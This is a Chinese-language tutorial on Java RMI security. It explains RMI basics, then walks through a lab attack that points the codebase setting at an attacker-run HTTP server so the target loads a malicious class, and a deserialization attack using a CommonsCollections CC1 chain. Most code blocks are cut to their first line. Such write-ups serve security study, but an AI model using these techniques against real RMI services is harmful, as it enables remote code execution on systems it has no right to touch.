RMI概念
RMI(Remote Method Invocation)远程方法调用,是允许允许在一个Java虚拟机的对象调用允许在另一个虚拟机上的对象方法。
Java默认对RMI规范使用JRMP协议
JRMP:Java Remote Message Protocol ,Java 远程消息交换协议。这是运行在Java RMI之下、TCP/IP之上的 线路层协议。该协议要求服务端与客户端都为Java编写,就像HTTP协议一样,规定了客户端和服务端通信要满 足的规范。
RMI的传输100%基于反序列化,Java RMI的默认端口是1099端口
RMI主要分为三部分:
1 | Server (提供远程的对象) |
server
1.一个实现Remote的接口
2.一个继承自UnicastRemoteObject的接口实现类
远程对象的实现类必须继承自UnicastTemoteObject,只有这样该类才表示一个远程对象,如果不继承的话可手动调用exportObject方法: Services services=(Services)UnicastRemoteObject.exportObject(obj,0);
注意这个远程接口需要继承java.rmi.Remote
接口,并且修饰符为public,其中定义的方法需要抛出RemoteException
异常
Registry
Registry就像一个RMI电话簿,它存放着远程服务器的绑定信息,Client可以通过Name向Registry查询,然后根据查询的绑定关系再去连接Server,最后远程方法实际上是在Server调用的。
我们在Server的接口和类的基础上完成Registry的绑定
1 | import java.rmi.Naming; |
Client
Client客户端主要是通过Registry注册的地址去获得相应的远程对象,然后便可调用其方法
当然也可以调用有参的远程对象方法
Server:
Client:
运行结果:
客户端还能利用list方法遍历出所有的对象引用,探测服务器是否存在一些危险函数利用
1 | String[] rmilist = Naming.list("rmi://127.0.0.1:1099/test"); |
(以上举例是在同项目地址下,相当于本地访问,远程访问配置详情见下)
codebase
codebase通俗来讲就是远程加载类的路径,如果发送序列化数据的时候带上codebase信息,当服务端在接受时没有在本地classpath找到类的时候,就会去codebase指向的远程地址去获取加载类。
可以利用-Djava.rmi.server.codebase=http://url:8080/
来自定义设置codebase参数。
如果攻击者将codebase指定为恶意地址,比如将codebase指向地址上的类改为Server请求的同名文件时,那么就会请求加载我们构造的恶意类。
官方针对这一点做了一些安全措施。将java.rmi.server.useCodebaseOnly参数默认改为true,这是java虚拟机只信任加载预先配置好的codebase,不再支持从远程RMI获取。
参数配置
server端添加-Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.hostname=192.168.32.1 -Djava.security.policy=client.policy
useCoidebaseOnly关闭,防止server使用内部的codebase,指定Hostname,并且设定了配置文件client.policy这是控制权限的。
client.policy:
1 | grant{ |
client端配置参数 -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://192.168.32.1:5599/ -Djava.security.policy=client.policy
可以看到指定了codebase的路径,如果Serve在本地URLClassLoader找不到需要的类,就会请求这个url,在里面寻找。
两端还需要同时设置SecurityManager
,否则会出错
1 | SecurityManager sm = System.getSecurityManager(); |
添加static静态代码块,让server端请求这个编译好恶意class文件。
Client:
1 | import RMI.inter; |
Server:
1 | import RMI.inter; |
需要注意的是,RMI寻找类名方法时,不仅要求接口服务实现类是一样的,并且包的名字也要是一样的,所以我们将接口单独存放在一个同名的package里
RMI.inter:
1 | package RMI; |
在client的target/classes目录下用5599端口起一个服务,然后分别运行server和client
此时当Server本地没有找到该类时,就会去codebase指定的地址获取恶意类。
成功执行了两遍静态代码块的命令(server一次,client一次)。
源码层次的分析就不具体展开了,感兴趣的师傅可以去结尾大师傅的参考文章看看。本质就是Server端接收数据后在RMIClassLoader调用loadClass,其继承自URLClassLoader,最终相当于Server远程URLClassLoader加载字节码。
反序列化攻击
既然RMI是基于序列化传输,在传输结束时会反序列化,那么是不是可以利用这一点对目标服务器进行反序列化攻击?(假如目标服务器某组件存在反序列化漏洞,例CommonsCollections)
这需要server端存在一个Object类型参数的方法。
Server代码依然是上面的demo,但是记得添加commons-collection依赖
1 | <dependencies> |
Client端利用构造static类型的CC1利用链
1 | import RMI.inter; |
成功触发恶意反序列化。
参考链接
https://www.mrkaixin.top/posts/62e8439d/